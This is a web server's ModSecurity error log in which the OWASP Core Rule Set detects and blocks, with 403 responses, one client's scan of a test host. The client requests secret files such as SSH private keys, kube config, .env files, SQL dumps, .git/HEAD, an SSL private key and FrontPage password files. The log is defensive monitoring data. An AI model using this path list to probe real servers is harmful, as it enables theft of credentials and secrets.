[Fri Feb 28 18:48:00.887129 2025] [:error] [pid 1476123] [client 109.202.99.46:40027] [client 109.202.99.46] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.kube/config&quot;] [unique_id &quot;Z8H20Byipe9XPdczlyWEyQAAAA0&quot;]
[Fri Feb 28 18:48:01.036286 2025] [:error] [pid 1476133] [client 109.202.99.46:4933] [client 109.202.99.46] ModSecurity: Warning. Matched phrase &quot;.ssh/id_rsa&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;Z8H20R2V6enmwJZ697UKhwAAAAY&quot;]
[Fri Feb 28 18:48:01.036769 2025] [:error] [pid 1476133] [client 109.202.99.46:4933] [client 109.202.99.46] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;Z8H20R2V6enmwJZ697UKhwAAAAY&quot;]
[Fri Feb 28 18:48:01.037218 2025] [:error] [pid 1476133] [client 109.202.99.46:4933] [client 109.202.99.46] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;Z8H20R2V6enmwJZ697UKhwAAAAY&quot;]
[Fri Feb 28 18:48:01.037615 2025] [:error] [pid 1481124] [client 109.202.99.46:5343] [client 109.202.99.46] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;Z8H20bRrIRJI0VNOvVeS_AAAAAI&quot;]
[Fri Feb 28 18:48:01.040358 2025] [:error] [pid 1481124] [client 109.202.99.46:5343] [client 109.202.99.46] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;Z8H20bRrIRJI0VNOvVeS_AAAAAI&quot;]
[Fri Feb 28 18:48:01.040607 2025] [:error] [pid 1481124] [client 109.202.99.46:5343] [client 109.202.99.46] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;Z8H20bRrIRJI0VNOvVeS_AAAAAI&quot;]
[Fri Feb 28 18:48:01.094984 2025] [:error] [pid 1476123] [client 109.202.99.46:30273] [client 109.202.99.46] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.pwd&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_vti_pvt/service.pwd&quot;] [unique_id &quot;Z8H20Ryipe9XPdczlyWEygAAAA0&quot;]
[Fri Feb 28 18:48:01.095718 2025] [:error] [pid 1476123] [client 109.202.99.46:30273] [client 109.202.99.46] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_vti_pvt/service.pwd&quot;] [unique_id &quot;Z8H20Ryipe9XPdczlyWEygAAAA0&quot;]
[Fri Feb 28 18:48:01.096165 2025] [:error] [pid 1476123] [client 109.202.99.46:30273] [client 109.202.99.46] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_vti_pvt/service.pwd&quot;] [unique_id &quot;Z8H20Ryipe9XPdczlyWEygAAAA0&quot;]
[Fri Feb 28 18:48:01.098716 2025] [:error] [pid 1476120] [client 109.202.99.46:56245] [client 109.202.99.46] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.pwd&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_vti_pvt/administrators.pwd&quot;] [unique_id &quot;Z8H20TCESQnWmicfTIXYoQAAAAQ&quot;]
[Fri Feb 28 18:48:01.099348 2025] [:error] [pid 1476120] [client 109.202.99.46:56245] [client 109.202.99.46] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_vti_pvt/administrators.pwd&quot;] [unique_id &quot;Z8H20TCESQnWmicfTIXYoQAAAAQ&quot;]
[Fri Feb 28 18:48:01.099584 2025] [:error] [pid 1476127] [client 109.202.99.46:46261] [client 109.202.99.46] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;Z8H20WqlysHRV2En9MqSNgAAABM&quot;]
[Fri Feb 28 18:48:01.099639 2025] [:error] [pid 1476120] [client 109.202.99.46:56245] [client 109.202.99.46] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_vti_pvt/administrators.pwd&quot;] [unique_id &quot;Z8H20TCESQnWmicfTIXYoQAAAAQ&quot;]
[Fri Feb 28 18:48:01.100018 2025] [:error] [pid 1476127] [client 109.202.99.46:46261] [client 109.202.99.46] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;Z8H20WqlysHRV2En9MqSNgAAABM&quot;]
[Fri Feb 28 18:48:01.100300 2025] [:error] [pid 1476127] [client 109.202.99.46:46261] [client 109.202.99.46] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;Z8H20WqlysHRV2En9MqSNgAAABM&quot;]
[Fri Feb 28 18:48:01.158075 2025] [:error] [pid 1480593] [client 109.202.99.46:39041] [client 109.202.99.46] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.pwd&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_vti_pvt/authors.pwd&quot;] [unique_id &quot;Z8H20XNCEJtn7JWGH5sW4AAAAAE&quot;]
[Fri Feb 28 18:48:01.158920 2025] [:error] [pid 1480593] [client 109.202.99.46:39041] [client 109.202.99.46] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_vti_pvt/authors.pwd&quot;] [unique_id &quot;Z8H20XNCEJtn7JWGH5sW4AAAAAE&quot;]
[Fri Feb 28 18:48:01.159440 2025] [:error] [pid 1480593] [client 109.202.99.46:39041] [client 109.202.99.46] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_vti_pvt/authors.pwd&quot;] [unique_id &quot;Z8H20XNCEJtn7JWGH5sW4AAAAAE&quot;]
[Fri Feb 28 18:48:01.261978 2025] [:error] [pid 1479161] [client 109.202.99.46:39809] [client 109.202.99.46] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;Z8H20ZJjYMm3B8zm0f7eQgAAAAA&quot;]
[Fri Feb 28 18:48:01.262345 2025] [:error] [pid 1479161] [client 109.202.99.46:39809] [client 109.202.99.46] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;Z8H20ZJjYMm3B8zm0f7eQgAAAAA&quot;]
[Fri Feb 28 18:48:01.262459 2025] [:error] [pid 1476133] [client 109.202.99.46:25497] [client 109.202.99.46] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ssl/private/server.key&quot;] [unique_id &quot;Z8H20R2V6enmwJZ697UKiAAAAAY&quot;]
[Fri Feb 28 18:48:01.262637 2025] [:error] [pid 1479161] [client 109.202.99.46:39809] [client 109.202.99.46] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;Z8H20ZJjYMm3B8zm0f7eQgAAAAA&quot;]
[Fri Feb 28 18:48:01.262946 2025] [:error] [pid 1476133] [client 109.202.99.46:25497] [client 109.202.99.46] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ssl/private/server.key&quot;] [unique_id &quot;Z8H20R2V6enmwJZ697UKiAAAAAY&quot;]
[Fri Feb 28 18:48:01.263189 2025] [:error] [pid 1476133] [client 109.202.99.46:25497] [client 109.202.99.46] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ssl/private/server.key&quot;] [unique_id &quot;Z8H20R2V6enmwJZ697UKiAAAAAY&quot;]
[Fri Feb 28 18:48:01.384443 2025] [:error] [pid 1476123] [client 109.202.99.46:8073] [client 109.202.99.46] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z8H20Ryipe9XPdczlyWEywAAAA0&quot;]
[Fri Feb 28 18:48:01.384910 2025] [:error] [pid 1476123] [client 109.202.99.46:8073] [client 109.202.99.46] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z8H20Ryipe9XPdczlyWEywAAAA0&quot;]
[Fri Feb 28 18:48:01.385339 2025] [:error] [pid 1476123] [client 109.202.99.46:8073] [client 109.202.99.46] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z8H20Ryipe9XPdczlyWEywAAAA0&quot;]
[Fri Feb 28 18:48:01.509055 2025] [:error] [pid 1481124] [client 109.202.99.46:52259] [client 109.202.99.46] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;Z8H20bRrIRJI0VNOvVeS_gAAAAI&quot;]
[Fri Feb 28 18:48:01.509501 2025] [:error] [pid 1481124] [client 109.202.99.46:52259] [client 109.202.99.46] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;Z8H20bRrIRJI0VNOvVeS_gAAAAI&quot;]
